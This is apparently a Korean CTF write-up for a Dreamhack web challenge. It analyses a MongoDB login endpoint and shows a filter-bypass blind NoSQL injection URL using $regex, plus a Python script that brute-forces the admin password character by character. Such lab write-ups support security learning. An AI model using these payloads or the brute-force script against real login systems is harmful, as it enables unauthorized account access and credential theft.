엔드포인트 분석
/login
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
만약 admin, dh, admi와 같은 필터링 키워드를 사용자가 입력하면 filter을 전송함.
취약점 분석
/login은 로그인에 성공했을때 이용자의 uid를 출력해준다. 그렇다면 admin이 로그인에 성공했다면 admin을 출력창에 띄워줄 것이다. 이러한 특성을 이용하여 우리는 admin 계정의 비밀번호를 획득할 것이다.
1. Blind NoSQL Injection Payload 생성
MongoDB의 $regex연산을 사용하면 정규표현식을 이용해 데이터를 검색할 수 있습니다. upw가 일치하는 경우 uid, 아닌 경우 undefined 문자열이 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있습니다.
filter 우회
- http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*를 통해 필터를 우회할수 있다.
이렇게 upw에 문자를 하나씩 넣어가며 admin이 출력되면 추가하는 식으로 비밀번호를 알아보자
익스플로잇 코드
import requests, string
HOST = 'http://host3.dreamhack.games:22342/'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')

'CTF & Wargame(WEB)' 카테고리의 다른 글
| [dreamhack] level 1 image-storage (0) | 2025.04.14 |
|---|---|
| [dreamhack] beginner command-injection-1 (0) | 2025.04.14 |
| [dreamhack] level 1 simple_sqli (blind_sqli 활용) (0) | 2025.04.14 |
| [dreamhack] level 1 simple_sqli (0) | 2025.04.13 |
| [dreamhack] level 1 csrf-2 (0) | 2025.04.13 |